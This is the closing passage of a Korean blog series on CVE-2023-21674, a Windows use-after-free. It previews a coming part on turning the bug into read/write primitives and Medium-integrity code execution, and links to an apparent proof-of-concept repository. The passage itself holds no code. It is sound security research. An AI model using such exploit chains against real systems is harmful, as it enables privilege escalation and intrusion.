여기까지 오느라 고생 많으셨습니다! 근데 눈치채셨겠지만, 사실 여태 한 건 결국 Theori 원문에 제가 찾아본 것들로 살을 좀 보탠 것뿐이에요. 진짜 재밌는 건 지금부터죠 ㅎㅎ

실제로 Theori도 file picker를 활용하면 결과적으로 Medium Code Execution이 가능하다는 말만 남아 있을 뿐.. 자세한 내용은 알려주지 않습니다.. 😂 하지만 그렇다고 포기할 제가 아니죠
이 UAF로 어떻게 Read/Write primitive를 얻고, 그걸 발판으로 Medium 권한 코드 실행까지 가는지 — 즉 OUYA77님이 말씀하신 그 “타이렁을 위한 깃털”을 가지고 어떻게 감옥을 탈출하고, 시푸 사부에게 가는지는 다음 6단계에서 이어집니다!
그럼 다음 편에서 만나요~ 👋
Reference.
https://github.com/hd3s5aa/CVE-2023-21674/blob/main/CVE-2023-21674.cpp
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.